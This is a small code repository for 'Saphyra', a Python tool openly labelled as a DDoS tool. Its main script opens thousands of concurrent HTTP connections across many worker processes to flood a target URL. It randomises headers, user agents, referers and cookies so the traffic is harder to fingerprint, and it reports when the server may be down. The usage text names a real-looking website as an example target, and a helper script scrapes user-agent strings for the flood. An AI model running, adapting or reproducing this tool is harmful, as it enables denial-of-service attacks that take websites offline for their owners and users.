├── README.md ├── lists └── useragents.txt ├── saphyra.py └── util └── getuas.py /README.md: -------------------------------------------------------------------------------- 1 | # Saphyra 2 | saphyra ddos tool 3 | -------------------------------------------------------------------------------- /saphyra.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from multiprocessing import Process, Manager, Pool 4 | import urlparse, ssl 5 | import sys, getopt, random, time, os 6 | 7 | if sys.version_info < (3,0): 8 | 9 | import httplib 10 | HTTPCLIENT = httplib 11 | else: 12 | import http.client 13 | HTTPCLIENT = http.client 14 | 15 | 16 | DEBUG = False 17 | 18 | METHOD_GET = 'get' 19 | METHOD_POST = 'post' 20 | METHOD_RAND = 'random' 21 | 22 | JOIN_TIMEOUT=1.0 23 | 24 | DEFAULT_WORKERS=50 25 | DEFAULT_SOCKETS=4000 26 | 27 | 28 | with open('lists/useragents.txt') as f: 29 | USER_AGENT_PARTS = f.readlines() 30 | 31 | class Saphyra(object): 32 | 33 | # Counters 34 | counter = [0, 0] 35 | last_counter = [0, 0] 36 | 37 | # Containers 38 | workersQueue = [] 39 | manager = None 40 | useragents = [] 41 | 42 | # Properties 43 | url = None 44 | 45 | # Options 46 | nr_workers = DEFAULT_WORKERS 47 | nr_sockets = DEFAULT_SOCKETS 48 | method = METHOD_GET 49 | 50 | def __init__(self, url): 51 | 52 | # Set URL 53 | self.url = url 54 | 55 | # Initialize Manager 56 | self.manager = Manager() 57 | 58 | # Initialize Counters 59 | self.counter = self.manager.list((0, 0)) 60 | 61 | 62 | def exit(self): 63 | self.stats() 64 | print "Shutting down Saphyra" 65 | 66 | def __del__(self): 67 | self.exit() 68 | 69 | def printHeader(self): 70 | 71 | print 72 | print 73 | 74 | # Do the fun! 75 | def fire(self): 76 | 77 | self.printHeader() 78 | print "MODE: '{0}' - WORKERS: {1} - CONNECTIONS: {2} ".format(self.method, self.nr_workers, self.nr_sockets) 79 | 80 | if DEBUG: 81 | print "Starting {0} concurrent workers".format(self.nr_workers) 82 | 83 | # Start workers 84 | for i in range(int(self.nr_workers)): 85 | 86 | try: 87 | 88 | worker = Striker(self.url, self.nr_sockets, self.counter) 89 | worker.useragents = self.useragents 90 | worker.method = self.method 91 | 92 | self.workersQueue.append(worker) 93 | worker.start() 94 | except (Exception): 95 | error("Failed to start worker {0}".format(i)) 96 | pass 97 | 98 | if DEBUG: 99 | print "Initiating monitor" 100 | self.monitor() 101 | 102 | def stats(self): 103 | 104 | try: 105 | if self.counter[0] > 0 or self.counter[1] > 0: 106 | 107 | print "{0} Saphyra strikes deferred. ({1} Failed)".format(self.counter[0], self.counter[1]) 108 | 109 | if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]: 110 | print "\tServer may be DOWN!" 111 | 112 | self.last_counter[0] = self.counter[0] 113 | self.last_counter[1] = self.counter[1] 114 | except (Exception): 115 | pass # silently ignore 116 | 117 | def monitor(self): 118 | while len(self.workersQueue) > 0: 119 | try: 120 | for worker in self.workersQueue: 121 | if worker is not None and worker.is_alive(): 122 | worker.join(JOIN_TIMEOUT) 123 | else: 124 | self.workersQueue.remove(worker) 125 | 126 | self.stats() 127 | 128 | except (KeyboardInterrupt, SystemExit): 129 | print "CTRL+C received. Killing all workers" 130 | for worker in self.workersQueue: 131 | try: 132 | if DEBUG: 133 | print "Killing worker {0}".format(worker.name) 134 | #worker.terminate() 135 | worker.stop() 136 | except Exception, ex: 137 | pass # silently ignore 138 | if DEBUG: 139 | raise 140 | else: 141 | pass 142 | 143 | #### 144 | # Striker Class 145 | #### 146 | 147 | class Striker(Process): 148 | 149 | 150 | # Counters 151 | request_count = 0 152 | failed_count = 0 153 | 154 | # Containers 155 | url = None 156 | host = None 157 | port = 80 158 | ssl = False 159 | referers = [] 160 | useragents = [] 161 | socks = [] 162 | counter = None 163 | nr_socks = DEFAULT_SOCKETS 164 | 165 | # Flags 166 | runnable = True 167 | 168 | # Options 169 | method = METHOD_GET 170 | 171 | def __init__(self, url, nr_sockets, counter): 172 | 173 | super(Striker, self).__init__() 174 | 175 | self.counter = counter 176 | self.nr_socks = nr_sockets 177 | 178 | parsedUrl = urlparse.urlparse(url) 179 | 180 | if parsedUrl.scheme == 'https': 181 | self.ssl = True 182 | 183 | self.host = parsedUrl.netloc.split(':')[0] 184 | self.url = parsedUrl.path 185 | 186 | self.port = parsedUrl.port 187 | 188 | if not self.port: 189 | self.port = 80 if not self.ssl else 443 190 | 191 | 192 | self.referers = [ 193 | 'http://www.google.com/', 194 | 'http://www.bing.com/', 195 | 'http://www.baidu.com/', 196 | 'http://www.yandex.com/', 197 | 'http://' + self.host + '/' 198 | ] 199 | 200 | 201 | def __del__(self): 202 | self.stop() 203 | 204 | 205 | #builds random ascii string 206 | def buildblock(self, size): 207 | out_str = '' 208 | 209 | _LOWERCASE = range(97, 122) 210 | _UPPERCASE = range(65, 90) 211 | _NUMERIC = range(48, 57) 212 | 213 | validChars = _LOWERCASE + _UPPERCASE + _NUMERIC 214 | 215 | for i in range(0, size): 216 | a = random.choice(validChars) 217 | out_str += chr(a) 218 | 219 | return out_str 220 | 221 | 222 | def run(self): 223 | 224 | if DEBUG: 225 | print "Starting worker {0}".format(self.name) 226 | 227 | while self.runnable: 228 | 229 | try: 230 | 231 | for i in range(self.nr_socks): 232 | 233 | if self.ssl: 234 | c = HTTPCLIENT.HTTPSConnection(self.host, self.port) 235 | else: 236 | c = HTTPCLIENT.HTTPConnection(self.host, self.port) 237 | 238 | self.socks.append(c) 239 | 240 | for conn_req in self.socks: 241 | 242 | (url, headers) = self.createPayload() 243 | 244 | method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method 245 | 246 | conn_req.request(method.upper(), url, None, headers) 247 | 248 | for conn_resp in self.socks: 249 | 250 | resp = conn_resp.getresponse() 251 | self.incCounter() 252 | 253 | self.closeConnections() 254 | 255 | except: 256 | self.incFailed() 257 | if DEBUG: 258 | raise 259 | else: 260 | pass # silently ignore 261 | 262 | if DEBUG: 263 | print "Worker {0} completed run. Sleeping...".format(self.name) 264 | 265 | def closeConnections(self): 266 | for conn in self.socks: 267 | try: 268 | conn.close() 269 | except: 270 | pass # silently ignore 271 | 272 | 273 | def createPayload(self): 274 | 275 | req_url, headers = self.generateData() 276 | 277 | random_keys = headers.keys() 278 | random.shuffle(random_keys) 279 | random_headers = {} 280 | 281 | for header_name in random_keys: 282 | random_headers[header_name] = headers[header_name] 283 | 284 | return (req_url, random_headers) 285 | 286 | def generateQueryString(self, ammount = 1): 287 | 288 | queryString = [] 289 | 290 | for i in range(ammount): 291 | 292 | key = self.buildblock(random.randint(3,10)) 293 | value = self.buildblock(random.randint(3,20)) 294 | element = "{0}={1}".format(key, value) 295 | queryString.append(element) 296 | 297 | return '&'.join(queryString) 298 | 299 | 300 | def generateData(self): 301 | 302 | returnCode = 0 303 | param_joiner = "?" 304 | 305 | if len(self.url) == 0: 306 | self.url = '/' 307 | 308 | if self.url.count("?") > 0: 309 | param_joiner = "&" 310 | 311 | request_url = self.generateRequestUrl(param_joiner) 312 | 313 | http_headers = self.generateRandomHeaders() 314 | 315 | 316 | return (request_url, http_headers) 317 | 318 | def generateRequestUrl(self, param_joiner = '?'): 319 | 320 | return self.url + param_joiner + self.generateQueryString(random.randint(1,5)) 321 | 322 | def getUserAgent(self): 323 | 324 | if self.useragents: 325 | return random.choice(self.useragents) 326 | 327 | # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions] 328 | 329 | ## Mozilla Version 330 | mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6 331 | 332 | ## System And Browser Information 333 | # Choose random OS 334 | os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())] 335 | os_name = random.choice(os['name']) 336 | sysinfo = os_name 337 | 338 | # Choose random platform 339 | platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())] 340 | 341 | # Get Browser Information if available 342 | if 'browser_info' in platform and platform['browser_info']: 343 | browser = platform['browser_info'] 344 | 345 | browser_string = random.choice(browser['name']) 346 | 347 | if 'ext_pre' in browser: 348 | browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string) 349 | 350 | sysinfo = "%s; %s" % (browser_string, sysinfo) 351 | 352 | if 'ext_post' in browser: 353 | sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post'])) 354 | 355 | 356 | if 'ext' in os and os['ext']: 357 | sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext'])) 358 | 359 | ua_string = "%s (%s)" % (mozilla_version, sysinfo) 360 | 361 | if 'name' in platform and platform['name']: 362 | ua_string = "%s %s" % (ua_string, random.choice(platform['name'])) 363 | 364 | if 'details' in platform and platform['details']: 365 | ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] ) 366 | 367 | if 'extensions' in platform and platform['extensions']: 368 | ua_string = "%s %s" % (ua_string, random.choice(platform['extensions'])) 369 | 370 | return ua_string 371 | 372 | def generateRandomHeaders(self): 373 | 374 | # Random no-cache entries 375 | noCacheDirectives = ['no-cache', 'max-age=0'] 376 | random.shuffle(noCacheDirectives) 377 | nrNoCache = random.randint(1, (len(noCacheDirectives)-1)) 378 | noCache = ', '.join(noCacheDirectives[:nrNoCache]) 379 | 380 | # Random accept encoding 381 | acceptEncoding = ['\'\'','*','identity','gzip','deflate'] 382 | random.shuffle(acceptEncoding) 383 | nrEncodings = random.randint(1,len(acceptEncoding)/2) 384 | roundEncodings = acceptEncoding[:nrEncodings] 385 | 386 | http_headers = { 387 | 'User-Agent': self.getUserAgent(), 388 | 'Cache-Control': noCache, 389 | 'Accept-Encoding': ', '.join(roundEncodings), 390 | 'Connection': 'keep-alive', 391 | 'Keep-Alive': random.randint(1,1000), 392 | 'Host': self.host, 393 | } 394 | 395 | # Randomly-added headers 396 | # These headers are optional and are 397 | # randomly sent thus making the 398 | # header count random and unfingerprintable 399 | if random.randrange(2) == 0: 400 | # Random accept-charset 401 | acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ] 402 | random.shuffle(acceptCharset) 403 | http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1)) 404 | 405 | if random.randrange(2) == 0: 406 | 407 | url_part = self.buildblock(random.randint(5,10)) 408 | 409 | random_referer = random.choice(self.referers) + url_part 410 | 411 | if random.randrange(2) == 0: 412 | random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10)) 413 | 414 | http_headers['Referer'] = random_referer 415 | 416 | if random.randrange(2) == 0: 417 | # Random Content-Trype 418 | http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded']) 419 | 420 | if random.randrange(2) == 0: 421 | # Random Cookie 422 | http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5)) 423 | 424 | return http_headers 425 | 426 | def stop(self): 427 | self.runnable = False 428 | self.closeConnections() 429 | self.terminate() 430 | 431 | def incCounter(self): 432 | try: 433 | self.counter[0] += 1 434 | except (Exception): 435 | pass 436 | 437 | def incFailed(self): 438 | try: 439 | self.counter[1] += 1 440 | except (Exception): 441 | pass 442 | 443 | def usage(): 444 | print 'Usage: Saphyra (url)' 445 | print 'Example: Saphyra.py http://luthi.co.il/' 446 | print "\a" 447 | print \ 448 | """ 449 | 450 | ,-. 451 | ( O_) 452 | / `-/ 453 | /-. / 454 | / ) 455 | / / 456 | _ /-. / 457 | (_)*-._ / ) 458 | *-._ *-'**( )/ 459 | *-/*-._* `. 460 | / *-.'._ 461 | /\ /-._*-._ 462 | _,---...__ / ) _,-*/ *-(_) 463 | ___<__(|) _ **-/ / / / 464 | ' `----' **-. \/ / / 465 | ) ] / / 466 | ____..-' // / ) 467 | ,-** __.,'/ / ___ /, 468 | / ,--**/ / / /,-** ***-. ,'/ 469 | [ ( / / / / ,.---,_ `._ _,-',' 470 | \ `-./ / / / / `-._ *** ,-' 471 | `-._ / / / /_,' **--* 472 | */ / / /* 473 | / / / / 474 | / / / / 475 | / |,' / 476 | : / / 477 | [ / ,' ~>Saphyra V.2 - DDoS Tool<~ 478 | | / ,' 479 | |/,-' 480 | ' 481 | 482 | """ 483 | 484 | def error(msg): 485 | # print help information and exit: 486 | sys.stderr.write(str(msg+"\n")) 487 | usage() 488 | sys.exit(2) 489 | 490 | #### 491 | # Main 492 | #### 493 | 494 | def main(): 495 | 496 | try: 497 | 498 | if len(sys.argv) < 2: 499 | error('Please supply at least the URL') 500 | 501 | url = sys.argv[1] 502 | 503 | if url == '-h': 504 | usage() 505 | sys.exit() 506 | 507 | if url[0:4].lower() != 'http': 508 | error("Invalid URL supplied") 509 | 510 | if url == None: 511 | error("No URL supplied") 512 | 513 | opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:u:", ["debug", "help", "workers", "sockets", "method", "useragents" ]) 514 | 515 | workers = DEFAULT_WORKERS 516 | socks = DEFAULT_SOCKETS 517 | method = METHOD_GET 518 | 519 | uas_file = None 520 | useragents = [] 521 | 522 | for o, a in opts: 523 | if o in ("-h", "--help"): 524 | usage() 525 | sys.exit() 526 | elif o in ("-u", "--useragents"): 527 | uas_file = a 528 | elif o in ("-s", "--sockets"): 529 | socks = int(a) 530 | elif o in ("-w", "--workers"): 531 | workers = int(a) 532 | elif o in ("-d", "--debug"): 533 | global DEBUG 534 | DEBUG = True 535 | elif o in ("-m", "--method"): 536 | if a in (METHOD_GET, METHOD_POST, METHOD_RAND): 537 | method = a 538 | else: 539 | error("method {0} is invalid".format(a)) 540 | else: 541 | error("option '"+o+"' doesn't exists") 542 | 543 | 544 | if uas_file: 545 | try: 546 | with open(uas_file) as f: 547 | useragents = f.readlines() 548 | except EnvironmentError: 549 | error("cannot read file {0}".format(uas_file)) 550 | 551 | saphyra = Saphyra(url) 552 | saphyra.useragents = useragents 553 | saphyra.nr_workers = workers 554 | saphyra.method = method 555 | saphyra.nr_sockets = socks 556 | 557 | saphyra.fire() 558 | 559 | except getopt.GetoptError, err: 560 | 561 | # print help information and exit: 562 | sys.stderr.write(str(err)) 563 | usage() 564 | sys.exit(2) 565 | 566 | if __name__ == "__main__": 567 | main() 568 | -------------------------------------------------------------------------------- /util/getuas.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import urllib, sys 4 | from bs4 import BeautifulSoup 5 | 6 | if len(sys.argv) <= 1: 7 | print "No URL specified. Please supply a valid http://www.useragentstring.com/ UA list URL" 8 | sys.exit(1) 9 | 10 | 11 | ua_url = sys.argv[1] 12 | 13 | f = urllib.urlopen(ua_url) 14 | 15 | html_doc = f.read() 16 | 17 | soup = BeautifulSoup(html_doc) 18 | 19 | liste = soup.find(id='liste') 20 | 21 | uas = liste.find_all('li') 22 | 23 | if len(uas) <= 0: 24 | print "No UAs Found. Are you on http://www.useragentstring.com/ lists?" 25 | sys.exit(1) 26 | 27 | 28 | for ua in uas: 29 | ua_string = ua.get_text() 30 | ua_string = ua_string.strip(' \t\n\r') 31 | print ua_string 32 | --------------------------------------------------------------------------------